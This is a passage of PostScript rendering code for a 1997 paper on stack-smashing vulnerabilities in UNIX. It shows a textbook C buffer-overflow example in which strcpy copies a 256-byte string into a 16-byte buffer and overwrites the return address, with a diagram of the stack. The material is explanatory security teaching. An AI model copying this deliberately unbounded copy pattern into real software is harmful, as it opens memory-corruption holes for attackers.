DOCLIPBOX n 4186 7704 M (ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4288 8038 M (a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4294 8371 M (b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4286 8788 M (c) ST GR GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5767 M 1181 5594 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5767 M 7519 5594 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5588 M 7523 5588 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 3170 5457 M (Figure 7.1.b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3884 5457 M ( - Example 7.1.a in user stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5163 M (8. Buffer Overflows) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4880 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1909 4880 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2177 4880 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2353 4880 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3325 4880 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4032 4880 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4505 4880 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5236 4880 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 4880 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5644 4880 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6292 4880 M (occurrence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7130 4880 M (recall ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4604 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1505 4604 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1721 4604 M (design, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2247 4604 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2500 4604 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3457 4604 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4107 4604 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4462 4604 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4724 4604 M (internally ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5411 4604 M (support ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5960 4604 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6490 4604 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 4604 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4328 M (initializing, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2036 4328 M (copying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2638 4328 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2844 4328 M (moving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3419 4328 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3763 4328 M (between ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 4328 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4590 4328 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4915 4328 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5583 4328 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5639 4328 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5919 4328 M (section ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6457 4328 M (5) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6540 4328 M (\). ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6747 4328 M (Below ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7248 4328 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4328 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4052 M (simple buffer overflow example using string arrays:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 3680 M 7523 3680 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3675 M 1181 3557 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3675 M 7519 3557 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 3573 M (1:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3573 M (void function\(char *str\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3556 M 1181 3452 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3556 M 7519 3452 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3468 M (2:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3468 M ( char buffer[16];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3451 M 1181 3347 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3451 M 7519 3347 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3363 M (3:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3346 M 1181 3242 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3346 M 7519 3242 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3258 M (4:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3258 M ( strcpy\(buffer,str\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3241 M 1181 3137 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3241 M 7519 3137 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3153 M (5:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 3153 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3136 M 1181 3032 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3136 M 7519 3032 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3048 M (6:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3031 M 1181 2927 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3031 M 7519 2927 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2943 M (7:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2943 M (void main\(\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2926 M 1181 2822 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2926 M 7519 2822 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2838 M (8:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2838 M ( char large_string[256];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2821 M 1181 2717 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2821 M 7519 2717 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2733 M (9:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2733 M ( int i;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2716 M 1181 2612 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2716 M 7519 2612 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2628 M (10:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2611 M 1181 2507 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2611 M 7519 2507 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2523 M (11:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2523 M ( for\( i = 0; i < 255; i++\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2506 M 1181 2402 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2506 M 7519 2402 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2418 M (12:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2418 M ( large_string[i] = 'A';) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2401 M 1181 2297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2401 M 7519 2297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2313 M (13:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2313 M ( function\(large_string\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2296 M 1181 2178 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2296 M 7519 2178 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2208 M (14:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2208 M (}) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 2172 M 7523 2172 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3110 2079 M (Example 8.a - buffer overflow example) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 1667 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2160 1667 M (compiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2833 1667 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3127 1667 M (executed, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3814 1667 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4071 1667 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4522 1667 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4890 1667 M (returns ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5407 1667 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5535 1667 M (segmentation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6476 1667 M (violation. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7204 1667 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1391 M (takes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1600 1391 M (place ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2000 1391 M (because ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 2576 1391 M (function\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3576 1391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3625 1391 M (attempts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4238 1391 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4416 1391 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4788 1391 M (large_string) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5988 1391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6037 1391 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 6344 1391 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6944 1391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6993 1391 M (without ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 16 16 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1749 9848 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2414 9848 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 2839 9848 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3639 9848 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3788 9848 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4588 9848 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4653 9848 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5171 9848 M (keeps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5615 9848 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6160 9848 M (until ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6529 9848 M (large_string ) ST GR 0.0000 0.0000 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0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9168 M 7305 9168 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5925 M 7305 5925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5742 6978 M (buffer[16]) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 5225 6768 M 5225 8335 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 5262 8311 M 5225 8321 L 5192 8311 L 5225 8391 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 7288 M 7305 7288 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5360 8039 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5963 7999 M (attempts to write 256) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 5368 7842 M (bytes into buffer, overwriting) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5360 7729 M (sfp, ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5888 7689 M ( and) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6132 7730 M (*str) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6370 7776 M (.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 1952 5729 M (before ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 2322 5722 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 3002 5729 M ( is) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 1947 5556 M (called) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 5563 5729 M (after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 5849 5722 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6528 5729 M ( is) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 5563 5556 M (called) ST GR GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5417 M 7523 5417 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 2215 5286 M (Figure 8.b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2825 5286 M ( - Buffer Overflow Example 5.a before and after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5548 5286 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6212 5286 M ( call.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4774 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1952 4774 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2488 4774 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2618 4774 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3053 4774 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3248 4774 M (A) ST -13 0 MR (') ST -13 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3519 4774 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 3575 4774 M (0x41 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4089 4774 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4274 4774 M (hex\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4626 4774 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4940 4774 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5236 4774 M (over ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5588 4774 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5847 4774 M (stack, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6287 4774 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6546 4774 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 4774 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4498 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1483 4498 M (changed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2089 4498 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2270 4498 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 4498 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3031 4498 M (outside ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3563 4498 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3754 4498 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4009 4498 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4561 4498 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5113 4498 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5619 4498 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5930 4498 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6499 4498 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7051 4498 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 4498 M (no ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4222 M (longer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1675 4222 M (fetch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2057 4222 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2309 4222 M (next ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2644 4222 M (instruction ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3404 4222 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 4222 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4030 4222 M (proper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4514 4222 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 4222 M (overwritten ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5921 4222 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6265 4222 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6471 4222 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 4222 M (outside ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3946 M (its process space, returning a segmentation fault.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3670 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2343 3670 M (8.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2592 3670 M (illustrates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3289 3670 M (how ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3625 3670 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3915 3670 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4196 3670 M (change ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4717 3670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4970 3670 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5418 3670 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5968 3670 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6157 3670 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6281 3670 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6904 3670 M (function, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3394 M (based ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1622 3394 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1830 3394 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1946 3394 M (single ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2385 3394 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2713 3394 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3078 3394 M (overflow. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3805 3394 M (Function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4438 3394 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4878 3394 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5420 3394 M (manipulation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6339 3394 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 3394 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6987 3394 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 3394 M (stack ) 